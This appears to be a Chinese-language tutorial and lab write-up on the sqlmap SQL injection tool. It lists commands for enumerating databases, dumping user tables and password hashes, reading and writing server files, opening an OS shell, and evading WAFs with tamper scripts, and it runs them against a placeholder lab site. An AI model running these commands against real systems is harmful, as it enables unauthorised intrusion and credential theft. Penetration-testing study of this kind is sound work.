Sqlmap概述
Sqlap是一個開源的、自動化的SQL注入工具,其主要功能是掃描、發現並利用給定的URL的SQL注入漏洞,內置了很多繞過tamper腳本,功能非常強大
(當然在檢測漏洞的時候最好就是手工配合工具)
工作原理
它的工作原理和手工注入的原理是一樣的:檢測動態頁面中get/post參數、cookie、 http頭,並爆出數據。
不需要我們再手動寫payload,因爲它有非常強大的引擎,各種各樣的參數、各種各樣的位置,它都可以去完成SQL注入漏洞的檢測、利用、以及數據的提取。
Win安裝
這個sqlmap需要python2纔可以正常執行,所以先前需安裝python2。然後去官網下載安裝就好了,一步到位~
(注意python3不行哦,如果你已經安裝了python3,本地同時安裝python2和python3,需要注意修改其中一個python執行文件的名字,以便在path中添加環境變量的時候,可以正確區分)
Sqlmap使用
常用
判斷是否存在注入
sqlmap.py -u [注入點]
判斷文本中的請求是否存在注入
sqlmap.py -r [文件目錄]/[文件名]
查詢當前用戶下的所有數據庫
sqlmap.py -u [注入點] --dbs
獲取數據庫中的表名
sqlmap.py -u [注入點] -D [庫名] --tables
獲取表中的字段名
sqlmap.py -u [注入點] -D [庫名] -T [表名] --columns
獲取字段內容
sqlmap.py -u [注入點] -D [庫名] -T [表名] -C[字段1],[字段2] --dump
獲取數據庫的所有用戶
sqlmap.py -u [注入點] --users
獲取數據庫用戶密碼
sqlmap.py -u [注入點] --passwords
獲取當前網站數據庫名稱
sqlmap.py -u [注入點] --current-db
獲取當前網站數據庫的用戶名稱
sqlmap.py -u [注入點] --current-user
進階
--level 5 探測等級
默認爲1. 等級越高,所含的Payload越多,測試的越全面
--is-dba 當前用戶是否爲管理權限
sqlmap.py -u [注入點] --is-dba
列出數據庫管理員角色
sqlmap.py -u [注入點] --roles
HTTP Referer頭
sqlmap.py -u [注入點] --referer
運行自定義SQL語句
sqlmap.py -u [注入點] --sql-shell
sql-shell>select * from sql.users limit 0,1
運行任意操作系統命令
--os-cmd,--os-shell
從數據庫服務器中讀取文件(會自動返回文件路徑)
sqlmap.py -u [注入點] --file-read [文件路徑及文件名]
上傳文件到數據庫服務器中
sqlmap.py -u [注入點] --file-write [文件路徑及文件名] --file-dest [指定文件所放服務器的路徑及文件名]
SQLmap自帶繞過腳本tamper講解
sqlmap -u [url] --tamper [模塊名]
可以使用--identify-waf對一些網站是否有安全防護進行試探
tamper腳本
sqlmap中的tamper腳本來對目標進行更高效的攻擊。通過修改tamper腳本模板,我們可以進行sqlmap繞過waf的操作。
tamper模塊的工作原理
通過python腳本完成對於特定命令或參數的替換修改,從而可以達到使用sqlmap進行waf繞過操作。
常用tamper腳本參考:https://blog.csdn.net/qq_34444097/article/details/82717357
實驗
一、Mysql注入
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 使用的參數是-u,意思是url
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbs
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --current-db
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms --tables
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users --columns
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 -D cms -T cms_users -C username,password --dump
去MD5在線解密得到admin,123456
(以下實驗就不做過多重複後續的演示了)
二、cookie注入
抓包
sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie “uname=admin” --level 2
HTTP Cookie在level爲2的時候就會測試,HTTP User-Agent/Referer頭在level爲3的時候就會測試
sqlmap.py -u http://www.any.com/sqli/Less-20/index.php --cookie “uname=admin” --level 2 –dbs
三、post注入
抓包
保存在sqlmap安裝目錄下
python sqlmap.py -r 1.txt --current-db
四、交互式shell
交互式寫shell使用的參數 --sqlmap-shell
用戶可以看到交互式的sqlmap shell,它具有所有以前運行的歷史記錄,包括使用過的選項和/或開關。還可以直接使用sqlmap進行注入的相關參數直接進行SQL注入操作
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --os-cmd=ipconfig
python sqlmap/sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --os-shell
五、時間盲注
sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --technique T --time-sec 6 --current-db
(時間盲注sleep默認爲5)
六、簡單繞waf
sqlmap.py -u http://www.any.com/fwcms/show.php?id=32 --dbs --batch --flush-session --tamper=equaltolike.py,space2comment.py,randomcase.py
–batch:用於從不詢問用戶輸入,使用所有默認配置
–flush-session:爲了刷新當前目標的會話文件
equaltolike.py:用like代替等號
space2comment.py:用註釋符/**/替換空間字符(‘ ‘)
randomcase.py:隨機大小寫
先演示這麼些吧~
最後,有機會可以去研究下tamper模塊,遇到waf時進行fuzz繞過或嘗試自己寫一個tamper
GOT IT!
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~